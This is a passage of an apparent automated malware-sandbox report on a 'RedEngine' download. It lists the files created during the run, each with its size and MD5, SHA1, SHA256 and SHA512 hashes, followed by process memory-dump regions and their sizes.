bab8a0b5d4e0a37bfabca896ad1dac9e2d0d3ea69b3b6b5a6ee4c0946dabf05f

SHA512
70fb8d097a5698eb985b94c856355a020dd099114f46dba3a47efef342e3f34cbe112a7c97f5ac10b027f2d30b7e68edd84b7692dd706558b14f0102a5ab22ec

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
c784a1fc00fc6a531507bb84976194bf

SHA1
e42e6c90c400ef3774e18bb8807345fae5636ee7

SHA256
a299901761b734e0376cdc015cfb781b85bde5558bd663d1eda434d045070fc1

SHA512
0cf8ac961ad1fc7ec8ac31fbfa546a580c8141905542cf8e99c42b1ccdd05d783c95d048a11f99bc20386bb53740158bbc6be1b472d118522666e0fcdc38f3bb

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
b509ed000011c39f7164af9555d53b3e

SHA1
b3eb067ae6d29b6752436be95dc0fe2e1ded46ad

SHA256
58b3bc115d0f204f53e1f63e1c71fa2b195d3b7cf33cee208ff5bc117a6aa3cc

SHA512
0847fb6b33938337cad231a3f9c1f3acbfef8c058cd8c4f87074b7350ec26792de69eafb1503a8386d5d5c4d0a3476542f261831e20217e9ea4942a2c7fdb20a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
44c27c76cb0f440b4abf5482da872cfb

SHA1
7fe3f54b6d175d195e143b869f5c60889f3639cc

SHA256
4d95a4177cd55287bd545220f5644d2466fecb028006273230993e8d34e92e10

SHA512
a375f22f5e75a080c67e560a068aa9c31844aeaac90099146c8bd7cf30e61683652f5aee9501dde5dce3e28c0f18f918cb4e66c0c50461bf9467b64da09201fe

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
Filesize
7KB

MD5
4a75d921a354a0f50d2f6bf295f816b1

SHA1
0b704525207e8f81e15455ffa999197ca0fec548

SHA256
ffdf9a6194bdb6667efa0cc2adb70bfd0a3986a32ab1dcfc033cfb6e3d13c3f9

SHA512
537f5a93459f44a04c5cebd8fcaf762b152bb4db4745342b54d33d352ec01ece385a19c774dcbfdb165bb564bd17b5c65f305af0c63fd9c13fae474e644b9b02

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Filesize
16KB

MD5
ff523c8226f8a3c8e8f7f62327aa0242

SHA1
e85a78b0d9b5e12bf15b466bef15051f04ce7e0a

SHA256
0bea8a670615b2d147f6326e9dc9f752ca80b2a689ff55f3a1667bab378e0f45

SHA512
dbb14f83534141eb62bc66fe294a163f8016a15008ad01da3cbffa24a405a50d7d32dd731b287aee8d0f6fc47d6224057b849a775fbe5ea673fbe903a27f011a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Filesize
281KB

MD5
0ddba7e00d60534f290cea3046e52836

SHA1
1d1e4814af02d9439400ecc2c12cd9d0ba4a91f2

SHA256
1834a36c795501530f06386526064e1e26fdfa2f4d21a2842d9eda8d1c1ed237

SHA512
35db8e8d62e4ef6b0f52398af20c857b81938e911267f3c9110540ed564770398bc6e3611488b755437b9c343c317f9cf3d52272982e4d45941a883fe49f79ab

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Filesize
281KB

MD5
4ea5e00d157f762d778d5642b24ba9cc

SHA1
e91ac5be0d36c49a8db59d058012132f709c7c95

SHA256
c6bd962f8dcc64dbf2a17a46e1e09c4ba3306d5ea52a5b957168bacaec581da7

SHA512
b025522efa80558354ac43118d7038fd8f6233bf9d145054a5ac76fdc3ce7b84c74d63c38aae99f5d95df51e3858681e4dcb6ea87e85d4149b6287c481acc7ad

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache
Filesize
93KB

MD5
ff470d6a17107b13526bef28e5958046

SHA1
77da4b914a6a4247111245a945af039e7d4d2306

SHA256
9db6db9630f1361e2e8685c8bcbdadfa76ae4b5d93983587c06ab9097709925b

SHA512
edbd4226329fce53d52c219997af2aec9ed4c47e0e63806544203d6425ab49dc9f8142582a78a848eb207e78220389e8f733f52ae01fcaabb120aa7d6455a87b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache
Filesize
101KB

MD5
966e2d0c64741d65711dc28c0b9ff103

SHA1
159bf7230db45511c2497614844c8c530f7accc7

SHA256
32909f444b86b7e87130e5123f1d84b199cd000573df7078a08fc1011a0de645

SHA512
425a70b652826423618b0bd84887bafda2408b6794ce555c10e0d7354dc544a64cb8a9812a1ea8c6caf6586590928ed6fed517ef5a2ee3987367d2d55a5cb338

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache
Filesize
100KB

MD5
77fc53f8a6e94bf7cd741611af4359af

SHA1
9683156d50ac5f90881269bddeeedf179b1ced46

SHA256
314ff1f9db5c296e69aa97b894b8838a9ba7800641b003a84a8818ce705275d4

SHA512
7741fdacae0c9751fc459ad62993bdc47aa19b8de24a3799213e3623d7a4eaf2f9a85813dc1c4f2ebd0f6bce0a44e3c17f7cd996a52e7bf82557032aeb9bf669

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Module Info Cache~RFe57f83b.TMP
Filesize
87KB

MD5
d252ec99fcb7e55284c0664578e07169

SHA1
63ee88ea2ffeab60cbe54e7e2439d4d56b25f16b

SHA256
07d00af74e255fdf50c215b537d1667072ad5e6b631d929bf5bdbc568c4d8cb0

SHA512
7744a904a34eb6d237263c0aaf93ed56f4ccc167e27b848963d9b0fba5226f265f03c365353a308879540ebcd4f292c71c95a4824a6e6200b384692f808d9934

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Launcher.exe.log
Filesize
226B

MD5
28d7fcc2b910da5e67ebb99451a5f598

SHA1
a5bf77a53eda1208f4f37d09d82da0b9915a6747

SHA256
2391511d0a66ed9f84ae54254f51c09e43be01ad685db80da3201ec880abd49c

SHA512
2d8eb65cbf04ca506f4ef3b9ae13ccf05ebefab702269ba70ffd1ce9e6c615db0a3ee3ac0e81a06f546fc3250b7b76155dd51241c41b507a441b658c8e761df6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d34112a7b4df3c9e30ace966437c5e40

SHA1
ec07125ad2db8415cf2602d1a796dc3dfc8a54d6

SHA256
cd9665cdaf412455d6f8dbdb60c721d0cf2ac992f7cd4830d89e8c75f9cfbfbf

SHA512
49fd43e69ece9c8185ada6b6ea5bd8619cb2b31de49793d3bd80180ecf3cf8ad24cac6c494185c99623417de52465c832166f7a4890d36ac0f3be5bd7652e053

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d336b18e0e02e045650ac4f24c7ecaa7

SHA1
87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

SHA256
87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

SHA512
e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

Download Submit
C:\Users\Admin\AppData\Local\Temp\2353.tmp\2354.tmp\2355.bat
Filesize
1KB

MD5
271dec7719a77c4638942d8247d12033

SHA1
e06d0309acc948f47bd1d2c4ced15a165875e4b6

SHA256
33cd4ccab998f90c97b237fec669e31944906c70298187e506934877aa0605bd

SHA512
3b352583360edbd980ac6885e0fdf431231fc39f8da0553b0457914fb1a2276bf508e3a33dc629857e5d47acb20fcddadee1120b99eaadb761443e6ae7b27226

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4nkoud1d.kcl.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\cuvhmzml.ugn0.exe
Filesize
423KB

MD5
8b1de71f412ebe150a2054bddc0ddcc8

SHA1
4782e5487b98bc353959dca110000328ba596c30

SHA256
c1680857ca2993539b1cf3040f144cd26e324c0091ef7e4e500a390584c98b66

SHA512
d725798c7677b54dc5fb1662ba98a71a50bdbcdf101b06cd560a90211be7ae9ebed315f2ceec8a38425c9de63ca53b4dc541b53d432deb17bafb1d102949c57b

Download Submit
C:\Users\Admin\AppData\Roaming\cuvhmzml.ugn1.exe
Filesize
5.2MB

MD5
d3a0a9f2a3e80ac0b21989c1d5122944

SHA1
d329ff5a234047c101b5a17f6bc5fc8b796d0aa7

SHA256
cbf66a9ab4d8749f32b89d73d0bc5ffd56edf8b59e608270bd5c3f08764babe0

SHA512
40e651126f7d26442450e0069db1a55f9ad93df70c124ff6c900df61a762fd0e6b6c64e7196bd61b2c7d951996f8dd2e12c11f4151df8ccb03bbe21dbc30d2bf

Download Submit
C:\Users\Admin\AppData\Roaming\cuvhmzml.ugn2.exe
Filesize
89KB

MD5
232df1e89fad603c20a9dced57983322

SHA1
89347e16c723e4cc89a080066a632b9f48a26cb3

SHA256
3b5ea4dddab91d998e105206b8cffade1554b065b88e584360710b11a315bfd0

SHA512
1adc8603c0757daa7076fe2f6af7b88369841107c9cc964083e8e1fa90adff2b32f87278df48f53591161ce6507c9434a3426b6ec4532020d605495e1f9d2e5a

Download Submit
C:\Users\Admin\Downloads\7z2407-x64.exe
Filesize
1.5MB

MD5
f1320bd826092e99fcec85cc96a29791

SHA1
c0fa3b83cf9f9ec5e584fbca4a0afa9a9faa13ed

SHA256
ad12cec3a3957ff73a689e0d65a05b6328c80fd76336a1b1a6285335f8dab1ba

SHA512
c6ba7770de0302dd90b04393a47dd7d80a0de26fab0bc11e147bf356e3e54ec69ba78e3df05f4f8718ba08ccaefbd6ea0409857973af3b6b57d271762685823a

Download Submit
C:\Users\Admin\Downloads\RedEngine.7z.crdownload
Filesize
2.1MB

MD5
f23bd725bb53925599f4be868442b6c9

SHA1
f1ceddaa54428a8b8bca7b08cc845b19e2ae14e2

SHA256
c1c897fccbac99e89d7dcfaecb8a97bcfe6250f9ab1160f190717ef1cfcb4258

SHA512
2b7160ca5605f19fd084e326b291a8015ac155b183315e0a9a14f115205fc85ae00216e163ec453db86a4d362b1d5c3383b08c9cd53245c5ae69e850183ad184

Download Submit
C:\Users\Admin\Downloads\download (1).htm.crdownload
Filesize
7KB

MD5
3159f1ac42921ec82c3236a8fd2509cb

SHA1
61b8b7cc07dd22ca46dd1d2480986936553d9d5d

SHA256
c57dd24a208e3f07249716eb379c9c9b796c14513c24b4839487a3f73cebc455

SHA512
013af885466aaf8117dbaeb02432ede96017454a03d28f9cf872871b92d531874a81fc48e90266d75a26b41e0fcde808183ae5fcc41b8df2484785423211e7e0

Download Submit
C:\Windows\Installer\MSIA7DA.tmp
Filesize
390KB

MD5
80bebea11fbe87108b08762a1bbff2cd

SHA1
a7ec111a792fd9a870841be430d130a545613782

SHA256
facf518f88cd67afd959c99c3ba233f78a4fbfe7fd3565489da74a585b55e9d1

SHA512
a760debb2084d801b6381a0e1dcef66080df03a768cc577b20b8472be87ad8477d59c331159555de10182d87340aa68fe1f3f5d0212048fd7692d85f4da656f6

Download Submit
C:\Windows\Installer\MSIAF5E.tmp
Filesize
125KB

MD5
a6c7f0c329b28edb3e7f10d115d85c6d

SHA1
f36faaf4af452ab0bcd30ef66de7291bcee21264

SHA256
8f2e81c6f8ccd01dd1727cf93b82fe35b3abb8cf1ef3045dcd6cdf3346a59d03

SHA512
d7fb6997c9ff0dae74634422b8953a276604c0aa27b1e8d9ce4c87220fd469c6eecac6d86da857ff75378c535d2a684b4a120927c62f5267f1bd4dbdc05a72cf

Download Submit
C:\Windows\Installer\MSIE33D.tmp
Filesize
341KB

MD5
74528af81c94087506cebcf38eeab4bc

SHA1
20c0ddfa620f9778e9053bd721d8f51c330b5202

SHA256
2650b77afbbc1faacc91e20a08a89fc2756b9db702a8689d3cc92aa163919b34

SHA512
9ce76594f64ea5969fff3becf3ca239b41fc6295bb3abf8e95f04f4209bb5ccddd09c76f69e1d3986a9fe16b4f0628e4a5c51e2d2edf3c60205758c40da04dae

Download Submit
C:\Windows\Installer\e5b6dce.msi
Filesize
25.3MB

MD5
0df081aa47e7159e585488a161a97466

SHA1
2dc9a592dbb208624aff11a57f97bea89a315973

SHA256
20c578361911d7b0cf153b293b025970eca383a2c802e0df438ac254aaca165d

SHA512
2e1b58add6a714281f2ddeb936069c0eb8ce24ae2e440941379c4273afd7f1a96b162d5b88211e8678804bad652e48c99a4993e0e0d0da4d1abd7550d397e836

Download Submit
F:\RedEngine\Launcher.exe
Filesize
7KB

MD5
eee2a79d3170f463e9697ddb8b97d41e

SHA1
818c82b1743c91f423c92742b54355b2058ff417

SHA256
a4569f2cabda528425ec397aef16d6f8fc15ca94664f6f98d738d0b3dc570b41

SHA512
139b6366a088d9aaa055fae4c7853c872fe4a31dfb7dc8e3961f144db0d712342fd4e9ef6f20e5f3cbb225a4f23c3ed24e55d144f9342398e8305f54a327d5ea

Download Submit
\??\pipe\crashpad_4528_XZXAEYPVTGNXXIBP
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/60-2366-0x00000209D40F0000-0x00000209D411B000-memory.dmp

Filesize
172KB

Download
memory/60-2367-0x00007FFD1E850000-0x00007FFD1E860000-memory.dmp

Filesize
64KB

Download
memory/404-3477-0x0000021100000000-0x00000211007A6000-memory.dmp

Filesize
7.6MB

Download
memory/596-2357-0x000001A4B2DE0000-0x000001A4B2E0B000-memory.dmp

Filesize
172KB

Download
memory/596-2356-0x000001A4B28C0000-0x000001A4B28E4000-memory.dmp

Filesize
144KB

Download
memory/596-2358-0x00007FFD1E850000-0x00007FFD1E860000-memory.dmp

Filesize
64KB

Download
memory/680-2362-0x000001841F6A0000-0x000001841F6CB000-memory.dmp

Filesize
172KB

Download
memory/680-2363-0x00007FFD1E850000-0x00007FFD1E860000-memory.dmp

Filesize
64KB

Download
memory/844-2406-0x00007FFD1E850000-0x00007FFD1E860000-memory.dmp

Filesize
64KB

Download
memory/844-2405-0x000002C20EEE0000-0x000002C20EF0B000-memory.dmp

Filesize
172KB

Download
memory/956-2371-0x00007FFD1E850000-0x00007FFD1E860000-memory.dmp

Filesize
64KB

Download
memory/956-2370-0x000001A25E5D0000-0x000001A25E5FB000-memory.dmp

Filesize
172KB

Download
memory/1388-830-0x0000000000820000-0x000000000089E000-memory.dmp

Filesize
504KB

Download
memory/1388-829-0x00000000033C0000-0x00000000037C0000-memory.dmp

Filesize
4.0MB

Download
memory/1388-804-0x0000000000820000-0x000000000089E000-memory.dmp

Filesize
504KB

Download
memory/1576-567-0x0000000000030000-0x0000000000038000-memory.dmp

Filesize
32KB

Download
memory/1584-728-0x0000000076410000-0x0000000076625000-memory.dmp

Filesize
2.1MB

Download
memory/1584-736-0x0000000000C40000-0x0000000000CBE000-memory.dmp

Filesize
504KB

Download
memory/1584-643-0x0000000000C40000-0x0000000000CBE000-memory.dmp

Filesize
504KB

Download
memory/1584-725-0x00007FFD5E7D0000-0x00007FFD5E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/1584-724-0x0000000003BB0000-0x0000000003FB0000-memory.dmp

Filesize
4.0MB

Download
memory/1584-723-0x0000000003BB0000-0x0000000003FB0000-memory.dmp

Filesize
4.0MB

Download
memory/2548-738-0x0000000076410000-0x0000000076625000-memory.dmp

Filesize
2.1MB

Download
memory/2548-683-0x0000000000950000-0x00000000009CE000-memory.dmp

Filesize
504KB

Download
memory/2548-729-0x0000000003740000-0x0000000003B40000-memory.dmp

Filesize
4.0MB

Download
memory/2548-732-0x00007FFD5E7D0000-0x00007FFD5E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/2548-741-0x0000000000950000-0x00000000009CE000-memory.dmp

Filesize
504KB

Download
memory/3076-1304-0x0000000000D90000-0x0000000000E0E000-memory.dmp

Filesize
504KB

Download
memory/3076-1302-0x0000000003880000-0x0000000003C80000-memory.dmp

Filesize
4.0MB

Download
memory/3076-961-0x0000000000D90000-0x0000000000E0E000-memory.dmp

Filesize
504KB

Download
memory/3132-739-0x0000000076410000-0x0000000076625000-memory.dmp

Filesize
2.1MB

Download
memory/3132-735-0x00007FFD5E7D0000-0x00007FFD5E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/3132-730-0x0000000000B00000-0x0000000000B09000-memory.dmp

Filesize
36KB

Download
memory/3132-733-0x0000000002730000-0x0000000002B30000-memory.dmp

Filesize
4.0MB

Download
memory/3948-574-0x00000216F7D40000-0x00000216F7D62000-memory.dmp

Filesize
136KB

Download
memory/4984-792-0x0000000000220000-0x000000000029E000-memory.dmp

Filesize
504KB

Download
memory/4984-767-0x0000000000220000-0x000000000029E000-memory.dmp

Filesize
504KB

Download
memory/4984-791-0x0000000003230000-0x0000000003630000-memory.dmp

Filesize
4.0MB

Download
memory/5036-743-0x00000000023A0000-0x00000000027A0000-memory.dmp

Filesize
4.0MB

Download
memory/5256-869-0x0000000003930000-0x0000000003D30000-memory.dmp

Filesize
4.0MB

Download
memory/5256-843-0x00000000008E0000-0x000000000095E000-memory.dmp

Filesize
504KB

Download
memory/5256-870-0x00000000008E0000-0x000000000095E000-memory.dmp

Filesize
504KB

Download
memory/5960-927-0x0000000003360000-0x0000000003760000-memory.dmp

Filesize
4.0MB

Download
memory/5960-902-0x00000000008D0000-0x000000000094E000-memory.dmp

Filesize
504KB

Download
memory/5960-928-0x00000000008D0000-0x000000000094E000-memory.dmp

Filesize
504KB

Download
memory/5992-2304-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5992-2306-0x00007FFD5DFF0000-0x00007FFD5E0AE000-memory.dmp

Filesize
760KB

Download
memory/5992-2300-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5992-2301-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5992-2305-0x00007FFD5E7D0000-0x00007FFD5E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/5992-2298-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5992-2351-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/5992-2299-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download